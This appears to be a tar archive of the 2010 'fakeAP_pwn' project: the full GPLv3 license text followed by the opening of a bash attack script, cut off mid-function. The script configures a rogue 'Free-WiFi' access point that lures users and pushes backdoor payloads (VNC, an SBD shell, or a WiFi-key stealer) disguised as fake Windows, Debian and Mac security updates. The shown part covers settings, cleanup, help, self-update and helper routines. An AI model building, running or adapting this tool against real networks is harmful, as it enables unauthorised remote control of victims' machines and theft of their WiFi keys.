fakeAP_pwn/ 777 0 0 0 11440170514 6041 5fakeAP_pwn/COPYING 777 0 0 104513 11434724520 7230 0 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . fakeAP_pwn/fakeAP_pwn.sh 777 0 0 243470 11440170401 10540 0#!/bin/bash # #----------------------------------------------------------------------------------------------# #fakeAP_pwn.sh v0.3 (#101 2010-09-03) # # (C)opyright 2010 - g0tmi1k & joker5bb # #---License------------------------------------------------------------------------------------# # This program is free software: you can redistribute it and/or modify it under the terms # # of the GNU General Public License as published by the Free Software Foundation, either # # version 3 of the License, or (at your option) any later version. # # # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; # # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # See the GNU General Public License for more details. # # # # You should have received a copy of the GNU General Public License along with this program. # # If not, see . # #---Credits------------------------------------------------------------------------------------# # VNC ~ TightVNC, TightVNC Group ~ http://www.tightvnc.com # # WKV ~ Wireless Key View, Nir Sofer ~ http://www.nirsoft.net/utils/wireless_key.html # # SBD ~ Secure Backdoor, Michel Blomgren ~ http://tigerteam.se/dl/sbd # #---Important----------------------------------------------------------------------------------# # *** Do not use this for illegal or malicious use *** # # Make sure to copy "www". Example: cp -rf www/* /var/www/fakeAP_pwn # # The VNC password is "g0tmi1k" (without "") # #---Defaults-----------------------------------------------------------------------------------# # The interfaces you use (Check with ifconfig!) interface="eth0" wifiInterface="wlan0" monitorInterface="mon0" # WiFi Name & Channel to use ESSID="Free-WiFi" channel="1" # [airbase-ng/hostapd] What software to use for the FakeAP apType="airbase-ng" # [normal/transparent/non/flip] - Normal = Doesn't force them, just sniff. Transparent = after been infected gives them internet. non = No internet access afterwards. flip = ^^, mode="transparent" # [sbd/vnc/wkv/other] What to upload to the user. vnc=remote desktop, sbd=cmd line, wkv=Steal all WiFi keys payload="vnc" backdoorPath="/root/backdoor.exe" # The directory location to the crafted web page. www="/var/www/fakeAP_pwn" # If you're having "timing out" problems, change this. mtu="1500" # [true/false] Respond to every WiFi probe request? true = yes, false = no (only for airbase-ng, we can use karma patches for hostapd) respond2All="false" # [random/set/false] Change the FakeAP MAC Address? fakeAPmac="set" macAddress="00:05:7c:9a:58:3f" # [true/false] Runs extra programs after session is created extras="false" #If you're having problems, creates a output file or displays exactly whats going on. 0=nothing, 1 = info, 2 = inf + commands diagnostics="false" verbose="0" #---Variables----------------------------------------------------------------------------------# gatewayIP=$(route -n | awk '/^0.0.0.0/ {getline; print $2}') ourIP="10.0.0.1" port=$(shuf -i 2000-65000 -n 1) # Random port each time version="0.3 (#101)" # Version www="${www%/}" # Remove trailing slash debug="false" # Windows don't close, shows extra stuff logFile="fakeAP_pwn.log" # filename of output path="" # null the value command="" # null the value trap 'cleanup interrupt' 2 # Captures interrupt signal (Ctrl + C) #----Functions---------------------------------------------------------------------------------# function cleanup() { # cleanup mode ************* DOESN'T READ VALUES CORRECTY - ONLY USES DEFAULTS ************* if [ "$1" == "user" ] ; then exit 3 ; fi echo # Blank line #if [ "$diagnostics" == "true" ] ; then echo -e "\n-Cleaning up---------------------------------------------------------------------------------" >> $logFile; fi if [ "$1" != "clean" ] ; then action "Killing xterm" "killall xterm" $verbose $diagnostics "true" display info "*** BREAK ***" $diagnostics # User quit fi display action "Cleaning up" $diagnostics if [ "$debug" != "true" ] ; then command="" if [ "$1" != "clean" ] && [ -e "/tmp/fakeAP_pwn.wkv" ] ; then command="$command /tmp/fakeAP_pwn.wkv" ; fi if [ -e "/tmp/fakeAP_pwn.rb" ] ; then command="$command /tmp/fakeAP_pwn.rb" ; fi if [ -e "/tmp/fakeAP_pwn.dhcp" ] ; then command="$command /tmp/fakeAP_pwn.dhcp" ; fi if [ -e "/tmp/fakeAP_pwn.dns" ] ; then command="$command /tmp/fakeAP_pwn.dns" ; fi if [ -e "/tmp/fakeAP_pwn.lock" ] ; then command="$command /tmp/fakeAP_pwn.lock" ; fi if [ -e "/tmp/fakeAP_pwn.hostapd" ] ; then command="$command /tmp/fakeAP_pwn.hostapd" ; fi if [ -e "/tmp/fakeAP_pwn.dsniff" ] ; then command="$command /tmp/fakeAP_pwn.dsniff" ; fi if [ -e "/tmp/fakeAP_pwn.ssl" ] ; then command="$command /tmp/fakeAP_pwn.ssl" ; fi if [ -e "/tmp/fakeAP_pwn.squid" ] ; then command="$command /tmp/fakeAP_pwn.squid" ; fi if [ -e "/tmp/fakeAP_pwn.pl" ] ; then command="$command /tmp/fakeAP_pwn.pl" ; fi if [ -e "/tmp/hostapd.dump" ] ; then command="$command /tmp/hostapd.dump" ; fi if [ -e "$www/kernal_1.83.90-5+lenny2_i386.deb" ] ; then command="$command $www/kernal_1.83.90-5+lenny2_i386.deb" ; fi if [ -e "$www/SecurityUpdate1-83-90-5.dmg.bin" ] ; then command="$command $www/SecurityUpdate1-83-90-5.dmg.bin" ; fi if [ -e "$www/Windows-KB183905-x86-ENU.exe" ] ; then command="$command $www/Windows-KB183905-x86-ENU.exe" ; fi if [ "$command" != "" ] ; then action "Removing temp files" "rm -rfv $command" $verbose $diagnostics "true" ; fi if [ -e "/etc/apache2/sites-available/fakeAP_pwn" ]; then # We may want to give apahce running when in "non" mode. - to show a different page! action "Restoring apache" "ls /etc/apache2/sites-available/ | xargs a2dissite fakeAP_pwn && a2ensite default* && a2dismod ssl && /etc/init.d/apache2 stop" $verbose $diagnostics "true" action "Restoring apache" "rm /etc/apache2/sites-available/fakeAP_pwn" $verbose $diagnostics "true" fi if [ -d "$www/images" ] ; then action "Removing temp files" "rm -rf $www/images" $verbose $diagnostics "true" ; fi fi if [ "$1" != "clean" ] ; then if [ "$apType" == "airbase-ng" ] ; then command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}') if [ "$command" == "$monitorInterface" ] ; then sleep 3 # Sometimes it needs to catch up/wait action "Monitor Mode (Stopping)" "airmon-ng stop $monitorInterface" $verbose $diagnostics "true" fi fi fi if [ "$mode" == "non" ] ; then # Else will will remove their internet access! if [ $(echo route | grep "10.0.0.0") ] ; then route del -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1; fi echo "0" > /proc/sys/net/ipv4/ip_forward echo "0" > /proc/sys/net/ipv4/conf/$interface/forwarding echo "0" > /proc/sys/net/ipv4/conf/$wifiInterface/forwarding # *** Test? *** ipTables clear fi if [ -e "/etc/apparmor.d/usr.sbin.dhcpd3.bkup" ]; then mv -f "/etc/dhcp3/dhcpd.conf.bkup" "/etc/dhcp3/dhcpd.conf" ; fi # ubuntu fixes - folder persmissions echo -e "\e[01;36m[*]\e[00m Done! (= Have you... g0tmi1k?" exit 0 } function help() { echo "(C)opyright 2010 g0tmi1k & joker5bb ~ http://g0tmi1k.blogspot.com Usage: bash fakeAP_pwn.sh -i [interface] -w [interface] -t [interface] -e [essid] -c [channel] -y [airbase-ng/hostapd] -m [normal/transparent/non] -p [sbd/vnc/other] -b [/path] -h [/path] -q [MTU] -r (-z / -a [mac address]) -e -d -v -V [-u] [-?] Options: -i --- Internet Interface e.g. $interface -w --- WiFi Interface e.g. $wifiInterface -t --- Monitor Interface e.g. $monitorInterface -e --- ESSID (WiFi Name) e.g. $ESSID -c --- Channel for the Acess Point e.g. $channel -y --- What software to use e.g. airbase-ng/hostapd -m --- Mode. How should the access point behave e.g. normal/transparent/non/flip -p --- Payload. What do you want to do to the target e.g. sbd/vnc/wkv/other -b --- Backdoor Path (only used when payload is set to other) e.g. /path/to/backdoor.exe -h --- htdocs (www) path e.g. $www -q --- Maximum Transmission Unit. e.g. $mtu -r --- Respond to every probe request -z --- Randomizes the MAC Address of the FakeAP -a --- Use this MAC Address. e.g. 00:05:7c:9a:58:3f -x --- Does a few \"extra\" things after target is infected. -d --- Diagnostics (Creates output file, $logFile) -v --- Verbose (Displays more) -V --- (Higher) Verbose (Displays more + shows commands) -u --- Update -? --- This Known issues: -\"Odd\" SSID > Airbase-ng doesn't always work ...Re-run the script. > Try hostap -Can't connect > Airbase-ng doesn't always work ...Re-run the script. > Try hostap > Target is too close/far away > Window 7 connects better than Windows XP -No IP > Use latest version of dhcp3-server -Slow > Don't use in a virtual machine > Try hostap > Try a different MTU value. > Your hardware (Example, 802.11n doesn't work too well) " exit 1 } function update() { # update if [ -e "/usr/bin/svn" ] ; then display action "Checking for an update..." $diagnostics update=$(svn info http://fakeap-pwn.googlecode.com/svn/ | grep "Revision:" |cut -c11-) if [ "$version" != "0.3 (Beta-#$update)" ] ; then display info "Updating..." $diagnostics svn export -q --force http://fakeap-pwn.googlecode.com/svn/trunk/fakeAP_pwn.sh fakeAP_pwn.sh svn export -q --force http://fakeap-pwn.googlecode.com/svn/trunk/www/index.php $www/index.php display info "Updated to $update. (=" $diagnostics else display info "You're using the latest version. (=" $diagnostics fi else display info "Updating..." $diagnostics wget -nv -N http://fakeap-pwn.googlecode.com/svn/trunk/fakeAP_pwn.sh wget -nv -N http://fakeap-pwn.googlecode.com/svn/trunk/www/index.php $www/index.php display info "Updated! (=" $diagnostics fi echo exit 2 } function testAP() { # testAP essid wiFiinterface if [ "$1" == "" ] || [ "$2" == "" ] ; then return 1; fi # Coding error eval list=( $(iwlist $2 scan 2>/dev/null | awk -F":" '/ESSID/{print $2}') ) if [ -z "${list[0]}" ]; then return 2 # Couldn't detect a single access point fi for item in "${list[@]}" ; do if [ "$item" == "$1" ]; then return 0; fi # Found it! done return 3 # Couldn't find the 'fake' access point } function action() { # action title command $verbose $diagnostics screen&file x|y|lines hold error="free" if [ "$1" == "" ] || [ "$2" == "" ] ; then error="1" ; fi # Coding error if [ "$error" == "free" ] ; then xterm="xterm" #Defaults command=$2 x="100" y="0" lines="15" if [ "$debug" == "true" ] || [ "$7" == "hold" ] ; then xterm="$xterm -hold" ; fi if [ "$3" == "2" ] ; then echo "Command: $command" ; fi if [ "$4" == "true" ] ; then echo "$1~$command" >> $logFile ; fi if [ "$4" == "true" ] && [ "$5" == "true" ] ; then command="$command | tee -a $logFile" ; fi if [ "$6" != "" ] ; then x=$(echo $6 | cut -d'|' -f1) y=$(echo $6 